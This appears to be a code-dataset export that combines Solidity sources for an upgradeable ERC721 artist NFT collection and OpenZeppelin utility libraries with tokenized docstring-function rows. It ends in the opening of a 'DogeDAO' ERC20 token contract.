uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSAUpgradeable {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
} else if (signature.length == 64) {
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
let vs := mload(add(signature, 0x40))
r := mload(add(signature, 0x20))
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
} else {
revert("ECDSA: invalid signature length");
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol';
import '@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol';
import '@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol';
import './OpenSea/BaseOpenSea.sol';
import './ArtistCollection721Storage.sol';
import './ERC2981/ERC2981Royalties.sol';
/// @title Artist Collection 721 contract
/// @author Simon Fremaux (@dievardump)
/// @notice This contract is made to allow Artists to own their own contract.
/// @notice It expects each tokens to have its own URI
contract ArtistCollection721 is
OwnableUpgradeable,
ERC721URIStorageUpgradeable,
ERC2981Royalties,
BaseOpenSea,
ArtistCollection721Storage
{
using ECDSAUpgradeable for bytes32;
/// @notice Upgradeable contract initializer
/// @param name_ name of the contract (see ERC721)
/// @param symbol_ symbol of the contract (see ERC721)
/// @param contractURI_ The contract URI (containing its metadata) - can be empty ""
/// @param openseaProxyRegistry_ OpenSea's proxy registry to allow gas-less listings - can be address(0)
/// @param owner_ Address to whom transfer ownership (can be address(0), then owner is deployer)
function _initialize(
string memory name_,
string memory symbol_,
string memory contractURI_,
address openseaProxyRegistry_,
address owner_
) internal initializer {
// init Ownable & chain
__Ownable_init();
// init 721
__ERC721_init_unchained(name_, symbol_);
// set contract uri if present
if (bytes(contractURI_).length > 0) {
_setContractURI(contractURI_);
}
// set OpenSea proxyRegistry for gas-less trading if present
if (address(0) != openseaProxyRegistry_) {
_setOpenSeaRegistry(openseaProxyRegistry_);
}
// transferOwnership if needed
if (address(0) != owner_) {
transferOwnership(owner_);
}
}
/// @inheritdoc ERC165Upgradeable
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Upgradeable, ERC2981Royalties)
returns (bool)
{
return
ERC721Upgradeable.supportsInterface(interfaceId) ||
ERC2981Royalties.supportsInterface(interfaceId);
}
/// @notice Mint one token to `to`
/// @dev Caller needs to be contract owner
/// @param to the recipient of the token
/// @param tokenURI_ the tokenURI of the token
/// @param royaltyRecipient the recipient for royalties (if royaltyValue > 0)
/// @param royaltyValue the royalties asked for (EIP2981)
function mint(
address to,
string memory tokenURI_,
address royaltyRecipient,
uint256 royaltyValue
) external onlyOwner {
uint256 tokenId = nextTokenId;
_safeMint(to, tokenId, '');
_setTokenURI(tokenId, tokenURI_);
if (royaltyValue > 0) {
_setTokenRoyalty(tokenId, royaltyRecipient, royaltyValue);
}
nextTokenId = tokenId + 1;
}
/// @notice Mint several tokens at once
/// @dev Caller needs to be contract owner
/// @param recipients an array of recipients for each token
/// @param tokenURIs an array of uris for each token
/// @param royaltyRecipients an array of recipients for royalties (if royaltyValues[i] > 0)
/// @param royaltyValues an array of royalties asked for (EIP2981)
function mintBatch(
address[] memory recipients,
string[] memory tokenURIs,
address[] memory royaltyRecipients,
uint256[] memory royaltyValues
) external onlyOwner {
uint256 tokenId = nextTokenId;
require(
recipients.length == tokenURIs.length &&
recipients.length == royaltyRecipients.length &&
recipients.length == royaltyValues.length,
'ERC721: Arrays length mismatch'
);
for (uint256 i; i < recipients.length; i++) {
_safeMint(recipients[i], tokenId, '');
_setTokenURI(tokenId, tokenURIs[i]);
if (royaltyValues[i] > 0) {
_setTokenRoyalty(
tokenId,
royaltyRecipients[i],
royaltyValues[i]
);
}
tokenId++;
}
nextTokenId = tokenId;
}
/// @notice Allows to burn a tokenId
/// @dev Burns `tokenId`. See {ERC721-_burn}. The caller must own `tokenId` or be an approved operator.
/// @param tokenId the tokenId to burn
function burn(uint256 tokenId) public virtual {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
'ERC721Burnable: caller is not owner nor approved'
);
_burn(tokenId);
}
/// @notice Allows the owner of the contract to update a tokenURI
/// @dev However the tokenURI can onlybe updated with the validation of its current owner
/// So if the current owner is not the current contract owner, a signed message is expected
/// @param tokenId the tokenId
/// @param tokenURI_ the nex token URI
function setTokenURI(
uint256 tokenId,
string memory tokenURI_,
bytes memory signature
) external onlyOwner {
address tokenOwner = ownerOf(tokenId);
if (tokenOwner != owner()) {
require(
hashTokenURI(tokenURI_).toEthSignedMessageHash().recover(
signature
) == tokenOwner,
'setTokenURI: Token owner needs to sign new URI.'
);
}
_setTokenURI(tokenId, tokenURI_);
}
/// @notice Hash the token URI so it can be signed by the owner before being changed
/// @param tokenURI_ the tokenURI to hash
/// @return the hash to sign
function hashTokenURI(string memory tokenURI_)
public
pure
returns (bytes32)
{
return keccak256(abi.encode(tokenURI_));
}
/// @notice Allows gas-less trading on OpenSea by safelisting the Proxy of the user
/// @dev Override isApprovedForAll to check first if current operator is owner's OpenSea proxy
/// @inheritdoc ERC721Upgradeable
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
// allows gas less trading on OpenSea
if (isOwnersOpenSeaProxy(owner, operator)) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
/// @notice Helper for the owner of the contract to set the new contract URI
/// @dev needs to be owner
/// @param contractURI_ new contract URI
function setContractURI(string memory contractURI_) external onlyOwner {
_setContractURI(contractURI_);
}
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
/// @title ArtistCollectionStorage
/// @author Simon Fremaux (@dievardump)
/// @notice Storage contract for ArtistCollection721
/// @dev This is the Storage of Artist Collection 721 contract
/// This is a contract made to work with upgradeable contract,
/// if you ever add state variables, you must update __gap accordingly.
/// -> https://forum.openzeppelin.com/t/what-exactly-is-the-reason-for-uint256-50-private-gap/798
/// if you do not use Upgradeable contracts, you should comment the line that defines __gap
contract ArtistCollection721Storage {
uint256 internal nextTokenId;
/// @dev If you ever add new state variable please add BEFORE this comment, and update __gap accordingly
/// @dev https://forum.openzeppelin.com/t/what-exactly-is-the-reason-for-uint256-50-private-gap/798
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol";
import "./IERC2981Royalties.sol";
/// @dev This is a contract used to add ERC2981 support to ERC721 and 1155
/// This is a contract made to work with upgradeable contract,
/// if you ever add state variables, you must update __gap accordingly.
/// -> https://forum.openzeppelin.com/t/what-exactly-is-the-reason-for-uint256-50-private-gap/798
/// if you do not use Upgradeable contracts, you should comment the line that defines __gap
abstract contract ERC2981Royalties is ERC165Upgradeable, IERC2981Royalties {
struct Royalty {
address recipient;
uint256 value;
}
mapping(uint256 => Royalty) internal _royalties;
/// @dev If you ever add new state variable please add BEFORE this comment, and update __gap accordingly
/// @dev https://forum.openzeppelin.com/t/what-exactly-is-the-reason-for-uint256-50-private-gap/798
uint256[10] private __gap;
/// @inheritdoc ERC165Upgradeable
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC2981Royalties).interfaceId;
}
/// @dev Sets token royalties
/// @param id the token id fir which we register the royalties
/// @param recipient recipient of the royalties
/// @param value percentage (using 2 decimals - 10000 = 100, 0 = 0)
function _setTokenRoyalty(
uint256 id,
address recipient,
uint256 value
) internal {
require(value <= 10000, "ERC2981Royalties: Too high");
_royalties[id] = Royalty(recipient, value);
}
/// @inheritdoc IERC2981Royalties
function royaltyInfo(uint256 tokenId, uint256 value)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
Royalty memory royalty = _royalties[tokenId];
return (royalty.recipient, (value * royalty.value) / 10000);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title IERC2981Royalties
/// @dev Interface for the ERC2981 - Token Royalty standard
interface IERC2981Royalties {
/// @notice Called with the sale price to determine how much royalty
// is owed and to whom.
/// @param _tokenId - the NFT asset queried for royalty information
/// @param _value - the sale price of the NFT asset specified by _tokenId
/// @return _receiver - address of who should be sent the royalty payment
/// @return _royaltyAmount - the royalty payment amount for value sale price
function royaltyInfo(uint256 _tokenId, uint256 _value)
external
view
returns (address _receiver, uint256 _royaltyAmount);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title OpenSea contract helper that defines a few things
/// @author Simon Fremaux (@dievrarump)
/// @dev This is a contract used to add OpenSea's support
/// This is a contract made to work with upgradeable contract,
/// if you ever add state variables, you must update __gap accordingly.
/// -> https://forum.openzeppelin.com/t/what-exactly-is-the-reason-for-uint256-50-private-gap/798
/// if you do not use Upgradeable contracts, you should comment the line that defines __gap
contract BaseOpenSea {
string private _contractURI;
ProxyRegistry private _proxyRegistry;
/// @dev If you ever add new state variable please add BEFORE this comment, and update __gap accordingly
/// @dev https://forum.openzeppelin.com/t/what-exactly-is-the-reason-for-uint256-50-private-gap/798
uint256[10] private __gap;
/// @notice Returns the contract URI function. Used on OpenSea to get details
// about a contract (owner, royalties etc...)
function contractURI() public view returns (string memory) {
return _contractURI;
}
/// @notice Helper for OpenSea gas-less trading
/// @dev Allows to check if `operator` is owner's OpenSea proxy
/// @param owner the owner we check for
/// @param operator the operator (proxy) we check for
function isOwnersOpenSeaProxy(address owner, address operator)
public
view
returns (bool)
{
ProxyRegistry proxyRegistry = _proxyRegistry;
return
// we have a proxy address
address(proxyRegistry) != address(0) &&
// current operator is owner's proxy address
address(proxyRegistry.proxies(owner)) == operator;
}
/// @dev Internal function to set the _contractURI
/// @param contractURI_ the new contract uri
function _setContractURI(string memory contractURI_) internal {
_contractURI = contractURI_;
}
/// @dev Internal function to set the _proxyRegistry
/// @param proxyRegistryAddress the new proxy registry address
function _setOpenSeaRegistry(address proxyRegistryAddress) internal {
_proxyRegistry = ProxyRegistry(proxyRegistryAddress);
}
}
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './ArtistCollection/ArtistCollection721.sol';
/// @title Genuine Human Art contract
/// @author Simon Fremaux (@dievardump)
/// @notice This contract is for Genuine Human Art to be able to release some of his Art on his own contract collection
/// @notice It expects each tokens to have its own URI
contract GenuineHumanArt is ArtistCollection721 {
/// @notice Initializer function used for upgradeable contracts
/// @dev this function will be run only the first time (checking if symbol is set) to initialize
/// @param name_ name of the contract (see ERC721)
/// @param symbol_ symbol of the contract (see ERC721)
/// @param contractURI_ The contract URI (containing its metadata) - can be empty ""
/// @param openseaProxyRegistry_ OpenSea's proxy registry to allow gas-less listings - can be address(0)
/// @param owner_ Address to whom transfer ownership (can be address(0), then owner is deployer)
function initialize(
string memory name_,
string memory symbol_,
string memory contractURI_,
address openseaProxyRegistry_,
address owner_
) public {
// this allows to not run _initialize on the parent every time we have an update
if (bytes(symbol()).length > 0) {
return;
}
_initialize(
name_,
symbol_,
contractURI_,
openseaProxyRegistry_,
owner_
);
}
}
| @notice Mint one token to `to` @dev Caller needs to be contract owner @param to the recipient of the token @param tokenURI_ the tokenURI of the token @param royaltyRecipient the recipient for royalties (if royaltyValue > 0) @param royaltyValue the royalties asked for (EIP2981) | function mint(
address to,
string memory tokenURI_,
address royaltyRecipient,
uint256 royaltyValue
) external onlyOwner {
uint256 tokenId = nextTokenId;
_safeMint(to, tokenId, '');
_setTokenURI(tokenId, tokenURI_);
if (royaltyValue > 0) {
_setTokenRoyalty(tokenId, royaltyRecipient, royaltyValue);
}
nextTokenId = tokenId + 1;
}
| 5,759,945 | [
1,
49,
474,
1245,
1147,
358,
1375,
869,
68,
225,
20646,
4260,
358,
506,
6835,
3410,
225,
358,
326,
8027,
434,
326,
1147,
225,
1147,
3098,
67,
326,
1147,
3098,
434,
326,
1147,
225,
721,
93,
15006,
18241,
326,
8027,
364,
721,
93,
2390,
606,
261,
430,
721,
93,
15006,
620,
405,
374,
13,
225,
721,
93,
15006,
620,
326,
721,
93,
2390,
606,
19279,
364,
261,
41,
2579,
5540,
11861,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
312,
474,
12,
203,
3639,
1758,
358,
16,
203,
3639,
533,
3778,
1147,
3098,
67,
16,
203,
3639,
1758,
721,
93,
15006,
18241,
16,
203,
3639,
2254,
5034,
721,
93,
15006,
620,
203,
565,
262,
3903,
1338,
5541,
288,
203,
3639,
2254,
5034,
1147,
548,
273,
9617,
548,
31,
203,
3639,
389,
4626,
49,
474,
12,
869,
16,
1147,
548,
16,
23489,
203,
3639,
389,
542,
1345,
3098,
12,
2316,
548,
16,
1147,
3098,
67,
1769,
203,
203,
3639,
309,
261,
3800,
15006,
620,
405,
374,
13,
288,
203,
5411,
389,
542,
1345,
54,
13372,
15006,
12,
2316,
548,
16,
721,
93,
15006,
18241,
16,
721,
93,
15006,
620,
1769,
203,
3639,
289,
203,
203,
3639,
9617,
548,
273,
1147,
548,
397,
404,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/56/0x5430033735D32a4f73D1729fc4e005e86e0F1ad3/sources/Strategy1InchBnbLP.sol | * @dev Tokens Used: {wbnb} - Required for liquidity routing when doing swaps. {inch} - Token generated by staking our funds. In this case it's the 1INCH token. {bnb} - 0 address representing BNB(ETH) native token in 1Inch LP pairs. {bifi} - BeefyFinance token, used to send funds to the treasury. {lpPair} - Token that the strategy maximizes. The same token that users deposit in the vault. {lpToken0, lpToken1} - Tokens that the strategy maximizes. 1Inch LP tokens/* @dev Third Party Contracts: {unirouter} - PancakeSwap unirouter {rewardPool} - 1Inch FarmingRewards pool/* @dev Beefy Contracts: {rewards} - Reward pool where the strategy fee earnings will go. {treasury} - Address of the BeefyFinance treasury {vault} - Address of the vault that controls the strategy's funds. {strategist} - Address of the strategy author/deployer where strategist fee will go./* @dev Distribution of fees earned. This allocations relative to the % implemented on doSplit(). Current implementation separates 4.5% for fees. {REWARDS_FEE} - 3% goes to BIFI holders through the {rewards} pool. {CALL_FEE} - 0.5% goes to whoever executes the harvest function as gas subsidy. {TREASURY_FEE} - 0.5% goes to the treasury. {STRATEGIST_FEE} - 0.5% goes to the strategist. {MAX_FEE} - Aux const used to safely calc the correct amounts. {WITHDRAWAL_FEE} - Fee taxed when a user withdraws funds. 10 === 0.1% fee. {WITHDRAWAL_MAX} - Aux const used to safely calc the correct amounts./* @dev Routes we take to swap tokens using PancakeSwap. {wbnbToBifiRoute} - Route we take to go from {wbnb} into {bifi}./* @dev Event that is fired each time someone harvests the strat./* @dev Initializes the strategy with the token to maximize./ | constructor(address _vault, address _strategist) public {
vault = _vault;
strategist = _strategist;
IERC20(lpPair).safeApprove(rewardPool, uint(-1));
IERC20(inch).safeApprove(lpPair, uint(-1));
IERC20(wbnb).safeApprove(unirouter, uint(-1));
}
| 11,121,043 | [
1,
5157,
10286,
30,
288,
9464,
6423,
97,
300,
10647,
364,
4501,
372,
24237,
7502,
1347,
9957,
1352,
6679,
18,
288,
267,
343,
97,
300,
3155,
4374,
635,
384,
6159,
3134,
284,
19156,
18,
657,
333,
648,
518,
1807,
326,
404,
706,
1792,
1147,
18,
288,
70,
6423,
97,
225,
300,
374,
1758,
5123,
605,
20626,
12,
1584,
44,
13,
6448,
1147,
316,
404,
382,
343,
511,
52,
5574,
18,
288,
70,
704,
97,
300,
30830,
74,
93,
6187,
1359,
1147,
16,
1399,
358,
1366,
284,
19156,
358,
326,
9787,
345,
22498,
18,
288,
9953,
4154,
97,
300,
3155,
716,
326,
6252,
30547,
3128,
18,
1021,
1967,
1147,
716,
3677,
443,
1724,
316,
326,
9229,
18,
288,
9953,
1345,
20,
16,
12423,
1345,
21,
97,
300,
13899,
716,
326,
6252,
30547,
3128,
18,
404,
382,
343,
511,
52,
2430,
19,
225,
935,
6909,
6393,
93,
30131,
30,
288,
318,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
565,
3885,
12,
2867,
389,
26983,
16,
1758,
389,
701,
1287,
376,
13,
1071,
288,
203,
3639,
9229,
273,
389,
26983,
31,
203,
3639,
609,
1287,
376,
273,
389,
701,
1287,
376,
31,
203,
203,
3639,
467,
654,
39,
3462,
12,
9953,
4154,
2934,
4626,
12053,
537,
12,
266,
2913,
2864,
16,
2254,
19236,
21,
10019,
203,
3639,
467,
654,
39,
3462,
12,
267,
343,
2934,
4626,
12053,
537,
12,
9953,
4154,
16,
2254,
19236,
21,
10019,
203,
3639,
467,
654,
39,
3462,
12,
9464,
6423,
2934,
4626,
12053,
537,
12,
318,
77,
10717,
16,
2254,
19236,
21,
10019,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-05-05
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DogeDAO is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 0;
string private _name = 'DogeDAO';
string private _symbol = 'DOGEDAO';
uint8 private _decimals = 18;
uint256 public maxTxAmount = 1000000000e18;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_mint(_msgSender(), 1000000000e18);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
